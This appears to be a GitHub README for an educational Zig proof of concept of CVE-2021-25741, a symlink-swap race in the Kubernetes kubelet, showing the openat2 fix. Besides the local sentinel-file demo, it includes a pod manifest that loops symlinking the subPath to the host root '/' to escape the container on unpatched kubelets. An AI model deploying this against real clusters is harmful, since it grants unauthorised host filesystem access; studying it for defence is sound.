Glutenfree69/ZigRaceExploit
GitHub: Glutenfree69/ZigRaceExploit
使用 Zig 语言实现的 CVE-2021-25741 TOCTOU 竞态条件漏洞 POC,通过符号链接交换演示 Kubernetes kubelet 的路径检查漏洞及 openat2 修复方案。
Stars: 0 | Forks: 0
# CVE-2021-25741 — TOCTOU 符号链接竞态利用 (Zig 实现)
这是一个针对 TOCTOU(检查时间,使用时间)竞态条件的教育性利用代码,该漏洞是 [CVE-2021-25741](https://github.com/kubernetes/kubernetes/issues/104980) 的根源,即 Kubernetes kubelet 中的一个漏洞。
该项目在本地演示(无需 K8s 集群)如何通过并发符号链接交换来绕过 `lstat()` 和 `open()` 之间的路径检查,并证明带有 `RESOLVE_*` 标志的 `openat2()` 是解决方案。
## 目录
- [问题所在](#le-problème)
- [利用原理](#comment-fonctionne-lexploit)
- [代码架构](#architecture-du-code)
- [前置条件](#prérequis)
- [构建](#build)
- [使用说明](#utilisation)
- [使用 Docker 进行本地测试](#test-en-local-avec-docker)
- [openat 与 openat2 对比](#comparaison-openat-vs-openat2)
- [调整 TOCTOU 延迟](#jouer-avec-le-délai-toctou)
- [在真实的 Kubernetes 节点上测试](#test-sur-un-vrai-node-kubernetes)
- [预期结果](#résultats-attendus)
- [代码解析](#explication-du-code)
- [使用的 Linux Syscalls](#syscalls-linux-utilisés)
- [使用 strace 调试](#debug-avec-strace)
- [参考资料](#références)
## 问题所在
### Linux 下的路径解析
当 kernel 解析像 `/a/b/c/file` 这样的路径时,它是**逐个组件**进行的。在每一步,如果组件是符号链接,kernel 会自动跟随它。这种解析**不是原子性的** —— 文件系统可能在两个步骤之间发生变化。
### kubelet 中的 TOCTOU
Kubernetes 的 kubelet 过去正是执行这种易受攻击的模式:
```
1. CHECK : lstat(subPath) → "c'est un répertoire, c'est safe"
↕ FENÊTRE DE RACE — un process dans le container swap le répertoire pour un symlink
2. USE : mount(subPath) → suit le symlink, monte le filesystem host
```
在检查和挂载之间,容器内的恶意进程可以将 `subPath` 替换为指向 host 根目录 `/` 的符号链接,从而获得对 host 文件系统的完全访问权限。
### 修复方案:openat2(2)
系统调用 `openat2` (kernel 5.6+) 以原子方式解析路径**并**打开文件,且带有约束:
| Flag | 效果 |
|------|-------|
| `RESOLVE_NO_SYMLINKS` | 拒绝跟随任何符号链接 → 返回 `ELOOP` |
| `RESOLVE_BENEATH` | 拒绝逃逸出基础目录 → 返回 `EXDEV` |
| `RESOLVE_IN_ROOT` | 将 dirfd 视为文件系统的根 |
| `RESOLVE_NO_XDEV` | 拒绝穿越挂载点 |
使用 `openat2`,**不存在 TOCTOU 窗口**:如果在解析过程中出现符号链接,系统调用会立即失败。
## 利用原理
两个线程协作利用 TOCTOU 窗口:
```
workdir/
├── legit_dir/
│ └── secret.txt → contient "LEGIT"
├── symlink_target/
│ └── secret.txt → contient "PWNED"
└── target/ → swappé entre vrai dir et symlink
```
### Racer 线程
以极快的速度循环运行,并通过 `renameat2(RENAME_EXCHANGE)` 在两种状态间原子性地交换 `target/`:
- **状态 A**:`target/` 是一个真正的目录(包含 `secret.txt` = "LEGIT")
- **状态 B**:`target/` 是一个指向 `symlink_target/` 的符号链接(包含 `secret.txt` = "PWNED")
每次交换仅需一个系统调用 = 最大化竞态窗口。
### Victim 线程(模拟 kubelet)
复现 kubelet 的易受攻击模式:
1. `fstatat("target", AT_SYMLINK_NOFOLLOW)` — 检查它是否是一个目录
2. 可选的暂停(模拟 kubelet 在检查和使用之间的延迟)
3. `openat(dirfd, "target/secret.txt", O_RDONLY)` — 打开文件
4. `read()` — 读取内容
5. 如果内容 == `"PWNED"` → **竞态成功**(符号链接被跟随了)
6. 如果内容 == `"LEGIT"` → 竞态失败(确实是真正的目录)
在受保护模式(`--use-openat2`)下,步骤 3 使用带有 `RESOLVE_NO_SYMLINKS | RESOLVE_BENEATH` 的 `openat2`。如果存在符号链接,kernel 将返回 `ELOOP` 而不是跟随它。
## 代码架构
```
src/
├── main.zig # Point d'entrée : parse CLI, crée le shared state, spawn les
│ # threads, mesure le temps, affiche les résultats
│
├── racer.zig # Thread racer : prépare l'état initial (target → symlink),
│ # puis boucle sur renameat2(RENAME_EXCHANGE) pour swapper
│ # target/ et legit_dir/ en continu
│
├── victim.zig # Thread victim : boucle N itérations de fstatat → delay →
│ # openat/openat2 → read → compare "LEGIT" vs "PWNED"
│
├── setup.zig # Crée l'arborescence de test : workdir/, legit_dir/,
│ # symlink_target/, target/ avec les fichiers sentinel
│
├── syscalls.zig # Constantes et wrappers pour les syscalls raw :
│ # - open_how struct (kernel UAPI, 3×u64)
│ # - RESOLVE_* flags
│ # - RENAME_EXCHANGE (= 2)
│ # - openat2() via linux.syscall4(.openat2, ...)
│ # - rename_exchange() via linux.renameat2()
│ # - Helpers : is_err(), to_errno(), to_fd()
│
└── stats.zig # Compteurs atomiques lock-free (std.atomic.Value(u64))
# pour wins, losses, errors, eloop + affichage formaté
```
所有系统调用都直接通过 `std.os.linux.*` 调用(没有使用 `std.fs` 或 `std.posix` 包装器)。在 Zig 0.15 标准库中,唯一没有包装器的系统调用是 `openat2`,我们通过 `linux.syscall4(.openat2, ...)` 调用它,并使用从 kernel UAPI 头文件手动定义的 `open_how` 结构体。
## 前置条件
| 工具 | 版本 | 用途 |
|-------|---------|----------|
| **Zig** | 0.15.x | 编译器 + 交叉编译 |
| **Docker** | 任意 | 在 Mac 上运行 Linux 二进制文件 |
| **colima** | 任意 | macOS 上的 Docker 运行时(或 Docker Desktop)|
二进制文件是**静态编译**的(musl libc),可以在没有任何依赖的情况下在任何 Linux 上运行。
最低 Kernel 版本:
- **3.15+** 用于 `renameat2(RENAME_EXCHANGE)`
- **5.6+** 用于带有 `RESOLVE_*` 的 `openat2`(仅在 `--use-openat2` 时需要)
Mac 上的 Docker Desktop 和 colima 使用 6.x kernel —— 支持所有功能。
## 构建
### Mac → Linux 交叉编译
```
# ARM64 (Mac M1/M2/M3 → Docker colima / EC2 ARM)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# x86_64 (针对 x86 节点)
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
```
二进制文件位于 `zig-out/bin/race-exploit`。
```
$ file zig-out/bin/race-exploit
ELF 64-bit LSB executable, ARM aarch64, statically linked
```
## 使用说明
### 使用 Docker 进行本地测试
```
# 启动 Docker runtime (如果是 macOS)
colima start
# 运行 exploit (默认为 vulnerable 模式)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine /app/race-exploit --iterations 10000
```
### openat 与 openat2 对比
```
# Vulnerable 模式 (openat) — race 成功
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000
# Protected 模式 (openat2) — race 被阻塞
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --use-openat2
```
或者使用脚本同时运行两者:
```
./scripts/run_in_docker.sh --iterations 10000
```
### 调整 TOCTOU 延迟
参数 `--delay-us` 在 `lstat`(检查)和 `openat`(使用)之间添加延迟。延迟越长,TOCTOU 窗口越宽,成功率越高:
```
# 无延迟 — win rate ~25%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000
# 10µs — win rate ~35%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 10
# 100µs — win rate ~50%
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 50000 --delay-us 100
# 1000µs (1ms) — win rate ~50% (已达上限,racer swap 速度更快)
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
/app/race-exploit --iterations 10000 --delay-us 1000
```
在真实的 kubelet 中,subPath 验证和 bind mount 之间的延迟在**几毫秒**级别(API 调用、准备 mount namespace 等),这使得在真实条件下竞态非常可靠。
### 完整 CLI 选项
```
race-exploit [options]
--iterations N Nombre de tentatives (défaut: 10000)
--delay-us N Microsecondes entre lstat et open (défaut: 0)
--use-openat2 Utiliser openat2 avec RESOLVE_* (mode protégé)
--workdir PATH Répertoire de travail (défaut: /tmp/race-workdir)
--help Afficher l'aide
```
### 在真实的 Kubernetes 节点上测试
该利用不需要 Kubernetes 即可运行 —— 这是一个基础的 Linux 竞态条件。但你可以在真实节点上启动它,以在与 kubelet 相同的条件下进行测试。
#### 选项 1:直接在节点上执行
```
# 针对 node 架构进行 cross-compiler
# ARM64 (EKS 使用 Graviton, GKE 使用 T2A 等)
zig build -Dtarget=aarch64-linux-musl -Doptimize=ReleaseSafe
# 或 x86_64
zig build -Dtarget=x86_64-linux-musl -Doptimize=ReleaseSafe
# 将 binary 复制到 node
scp zig-out/bin/race-exploit user@node:/tmp/
# 在 node 上运行
ssh user@node /tmp/race-exploit --iterations 50000 --delay-us 100
# 检查 kernel 版本 (openat2 需要 >= 5.6)
ssh user@node uname -r
```
#### 选项 2:从 Kubernetes pod 启动
创建一个包含二进制文件并执行它的 pod:
```
# race-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: race-exploit
spec:
containers:
- name: race
image: alpine:latest
command: ["/app/race-exploit"]
args: ["--iterations", "50000", "--delay-us", "100"]
volumeMounts:
- name: exploit-bin
mountPath: /app
volumes:
- name: exploit-bin
hostPath:
path: /tmp # le binaire doit être copié ici au préalable
restartPolicy: Never
```
```
# 先将 binary 复制到 node
kubectl cp zig-out/bin/race-exploit :/tmp/race-exploit
# 启动 pod
kubectl apply -f race-pod.yaml
kubectl logs race-exploit
```
#### 选项 3:使用 subPath 复现真实的 CVE
要复现 CVE-2021-25741 的确切场景,需要在 kubelet 准备带有 `subPath` 的卷 bind mount 时利用竞态:
```
# vulnerable-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: subpath-race
spec:
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh", "-c"]
args:
- |
# Ce script tourne dans le container et swap le subPath
# pendant que le kubelet prépare le mount
while true; do
rm -rf /vol/subdir
ln -s / /vol/subdir
mkdir -p /vol/subdir
done
volumeMounts:
- name: shared-vol
mountPath: /vol
subPath: subdir # ← le kubelet vérifie puis monte ce chemin
volumes:
- name: shared-vol
emptyDir: {}
```
**重要**:此攻击仅适用于**未打补丁**的 kubelet(版本 < 1.22.2, < 1.21.5, < 1.20.11)。最新的 kubelet 使用带有 `RESOLVE_NO_SYMLINKS` 的 `openat2` 来解析 subPath。
要检查你的 kubelet 是否易受攻击:
```
# Kubelet 版本
kubectl get nodes -o wide
# 检查 Kubelet 是否使用 openat2 (在 node 上)
ssh user@node strace -f -e trace=openat2 -p $(pidof kubelet) 2>&1 | head -20
```
## 预期结果
### openat(易受攻击)
```
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat (vulnerable)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3749
Race wins: 940 (25.07%)
Race losses: 2809 (74.93%)
Errors: 0 (0.00%)
Duration: 14ms
```
### openat2(受保护)
```
CVE-2021-25741 TOCTOU Race Exploit
===================================
Mode: openat2 (protected)
Iterations: 10000
Delay: 0us
---
Results:
Total attempts: 3105
Race wins: 0 (0.00%)
Race losses: 2283 (73.53%)
Errors: 0 (0.00%)
ELOOP (blocked): 822 (26.47%)
Duration: 12ms
```
**关键观察:**
- "total attempts" 低于请求的迭代次数,因为许多循环轮次被跳过(`lstat` 看到符号链接而不尝试打开)
- 在 `openat` 模式下,约 25% 的尝试导致成功(读取到 "PWNED" 文件)
- 在 `openat2` 模式下,**0% 成功率** —— racer 交换的每一次尝试都被 kernel 检测到并返回 `ELOOP`
- ELOOP 的数量与 openat 模式下的成功次数完全对应:百分比相同,但被阻止了
## 代码解析
### syscalls.zig —— 基础模块
该文件定义了 Zig 0.15 标准库中缺失的常量:
```
// renameat2(2) : swap atomique de deux entrées filesystem
pub const RENAME_EXCHANGE: u32 = 2;
// openat2(2) : struct passée au syscall
pub const open_how = extern struct {
flags: u64 = 0, // O_RDONLY, O_WRONLY, etc.
mode: u64 = 0, // permissions (si O_CREAT)
resolve: u64 = 0, // RESOLVE_* flags
};
// Flags de résolution pour open_how.resolve
pub const RESOLVE_NO_SYMLINKS: u64 = 0x04; // refuse tout symlink
pub const RESOLVE_BENEATH: u64 = 0x08; // interdit de remonter au-dessus du dirfd
```
`openat2` 通过 `linux.syscall4(.openat2, ...)` 调用,因为 Zig 0.15 有系统调用号但没有包装器。
### racer.zig —— 攻击线程
启动时,它将 `target/` 转换为指向 `symlink_target/` 的符号链接,然后循环执行两个 `renameat2(RENAME_EXCHANGE)` 来交换 `target` 和 `legit_dir`:
```
Itération 1: target=dir, legit_dir=symlink ← victim voit un dir, ouvre normalement
Itération 2: target=symlink, legit_dir=dir ← victim suit le symlink → PWNED
```
### victim.zig —— kubelet 线程
复现 `lstat` → delay → `openat`/`openat2` → `read` → compare。结果在无锁原子计数器中统计(使用 `.monotonic` 排序的 `fetchAdd`)。
### setup.zig —— 测试结构
通过原始系统调用使用 `mkdirat`、`openat(O_CREAT)` 和 `write` 创建目录树。两个哨兵文件:真实目录中的 `"LEGIT"`,符号链接目标中的 `"PWNED"`。
## 使用的 Linux Syscalls
| Syscall | 在利用中的角色 | Zig Wrapper |
|---------|---------------------|-------------|
| `renameat2(RENAME_EXCHANGE)` | target ↔ legit_dir 原子交换 | `linux.renameat2()` |
| `fstatat(AT_SYMLINK_NOFOLLOW)` | lstat:检查 target 是目录还是符号链接 | `linux.fstatat()` |
| `openat(O_RDONLY)` | 跟随符号链接打开文件(易受攻击)| `linux.openat()` |
| `openat2(RESOLVE_NO_SYMLINKS)` | 拒绝符号链接打开文件(修复方案)| `linux.syscall4(.openat2, ...)` |
| `symlinkat` | 创建初始符号链接 target → symlink_target | `linux.symlinkat()` |
| `unlinkat` | 删除 target 以便将其重新创建为符号链接 | `linux.unlinkat()` |
| `mkdirat` | 创建测试目录 | `linux.mkdirat()` |
| `read` / `write` / `close` | 对哨兵文件进行 IO | `linux.read()` / `linux.write()` / `linux.close()` |
## 使用 strace 调试
```
# Tracer 两个 thread 的所有 syscall
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f /app/race-exploit --iterations 100
# 过滤感兴趣的 syscall
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat,renameat2,symlinkat,newfstatat \
/app/race-exploit --iterations 100
# 查看 openat2 的 ELOOP
docker run --rm -v $(pwd)/zig-out/bin:/app alpine \
strace -f -e trace=openat2 \
/app/race-exploit --iterations 100 --use-openat2
```
注意:`strace` 默认未安装在 Alpine 中。使用 `alpine:edge` 或通过 `apk add strace` 安装:
```
docker run --rm -v $(pwd)/zig-out/bin:/app alpine:edge \
sh -c "apk add --no-cache strace && strace -f -e trace=openat,renameat2 /app/race-exploit --iterations 100"
```
## 参考资料
- [CVE-2021-25741 — Kubernetes Issue #104980](https://github.com/kubernetes/kubernetes/issues/104980)
- [Google Security Blog — Exploring Container Security: Storage](https://security.googleblog.com/2021/12/exploring-container-security-storage.html)
- [man 2 openat2](https://man7.org/linux/man-pages/man2/openat2.2.html) — 修复方案
- [man 2 renameat2](https://man7.org/linux/man-pages/man2/renameat2.2.html) — 原子交换
- [man 2 fstatat](https://man7.org/linux/man-pages/man2/fstatat.2.html) — 不跟随符号链接的 lstat
- [Symlinks and path resolution — Star Lab](https://www.starlab.io/blog/linux-symbolic-links-convenient-useful-and-a-whole-lot-of-trouble)
# ZigRaceExploit
标签:CVE-2021-25741, Docker, Hpfeeds, Kubelet, Linux内核, lstat, openat2, POC, strace, Syscall, TOCTOU, Web开发, Web截图, Web报告查看器, Zig, 子域名突变, 安全防御评估, 容器安全, 提权, 教育性演示, 本地提权, 竞态条件, 符号链接交换, 系统调用, 请求拦截, 路径遍历